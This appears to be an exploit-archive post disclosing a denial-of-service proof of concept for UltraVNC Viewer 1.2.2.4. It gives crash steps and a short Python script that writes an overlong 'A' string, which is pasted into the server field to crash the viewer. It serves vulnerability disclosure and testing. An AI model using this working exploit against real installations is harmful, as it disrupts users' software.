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UltraVNC Viewer 1.2.2.4 Denial Of Service

UltraVNC Viewer 1.2.2.4 Denial Of Service
Posted Apr 15, 2019
Authored by Victor Mondragon

UltraVNC Viewer version 1.2.2.4 suffers from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | a8874d60ff75aa07455e18736ef6dc77ad3acf55b4e019d5ea21ab2f399f86fc

UltraVNC Viewer 1.2.2.4 Denial Of Service

Change Mirror Download
#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-14
#Vendor Homepage: https://www.uvnc.com/
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
#Tested Version: 1.2.2.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: UltraVNC_Viewer_1.2.2.4.py
#2.- Open UltraViewer.txt and copy content to clipboard
#3.- Open UltraVNC Viewer
#4.- In "VNC Server" Paste Clipboard
#5.- Click on "Connect"
#6.- Crashed

cod = "\x41" * 256

f = open('UltraViewer.txt', 'w')
f.write(cod)
f.close()
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